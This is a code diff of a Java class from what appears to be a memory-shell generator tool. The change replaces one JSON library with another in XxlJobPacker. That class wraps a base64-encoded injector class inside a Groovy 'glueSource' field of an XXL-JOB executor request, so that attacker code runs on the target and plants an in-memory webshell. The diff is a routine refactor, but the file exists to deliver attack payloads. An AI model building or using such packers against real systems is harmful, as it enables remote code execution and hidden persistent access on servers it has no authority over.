11package com .reajason .javaweb .memshell .packer ;
22
3- import com .alibaba . fastjson2 . JSONObject ;
4- import com .alibaba . fastjson2 . JSONWriter ;
3+ import com .fasterxml . jackson . databind . ObjectMapper ;
4+ import com .fasterxml . jackson . databind . SerializationFeature ;
55import com .reajason .javaweb .memshell .config .GenerateResult ;
6+ import lombok .SneakyThrows ;
67import org .apache .commons .io .IOUtils ;
78
89import java .io .IOException ;
910import java .nio .charset .Charset ;
11+ import java .util .HashMap ;
12+ import java .util .Map ;
1013import java .util .Objects ;
1114
1215/**
@@ -25,23 +28,26 @@ public XxlJobPacker() {
2528 }
2629
2730 @ Override
31+ @ SneakyThrows
2832 public String pack (GenerateResult generateResult ) {
2933 String source = template
3034 .replace ("{{base64Str}}" , generateResult .getInjectorBytesBase64Str ())
3135 .replace ("{{className}}" , generateResult .getInjectorClassName ());
32- JSONObject jsonObject = new JSONObject ();
33- jsonObject .put ("jobId" , 1 );
34- jsonObject .put ("executorHandler" , "demoJobHandler" );
35- jsonObject .put ("executorParams" , "demoJobHandler" );
36- jsonObject .put ("executorBlockStrategy" , "COVER_EARLY" );
37- jsonObject .put ("executorTimeout" , 0 );
38- jsonObject .put ("logId" , 1 );
39- jsonObject .put ("logDateTime" , System .currentTimeMillis ());
40- jsonObject .put ("glueType" , "GLUE_GROOVY" );
41- jsonObject .put ("glueSource" , source );
42- jsonObject .put ("glueUpdatetime" , System .currentTimeMillis ());
43- jsonObject .put ("broadcastIndex" , 0 );
44- jsonObject .put ("broadcastTotal" , 0 );
45- return JSONObject .toJSONString (jsonObject , JSONWriter .Feature .PrettyFormat );
36+ Map <String , Object > map = new HashMap <>();
37+ map .put ("jobId" , 1 );
38+ map .put ("executorHandler" , "demoJobHandler" );
39+ map .put ("executorParams" , "demoJobHandler" );
40+ map .put ("executorBlockStrategy" , "COVER_EARLY" );
41+ map .put ("executorTimeout" , 0 );
42+ map .put ("logId" , 1 );
43+ map .put ("logDateTime" , System .currentTimeMillis ());
44+ map .put ("glueType" , "GLUE_GROOVY" );
45+ map .put ("glueSource" , source );
46+ map .put ("glueUpdatetime" , System .currentTimeMillis ());
47+ map .put ("broadcastIndex" , 0 );
48+ map .put ("broadcastTotal" , 0 );
49+ ObjectMapper objectMapper = new ObjectMapper ();
50+ objectMapper .enable (SerializationFeature .INDENT_OUTPUT ); // 美化输出
51+ return objectMapper .writeValueAsString (map );
4652 }
4753}
0 commit comments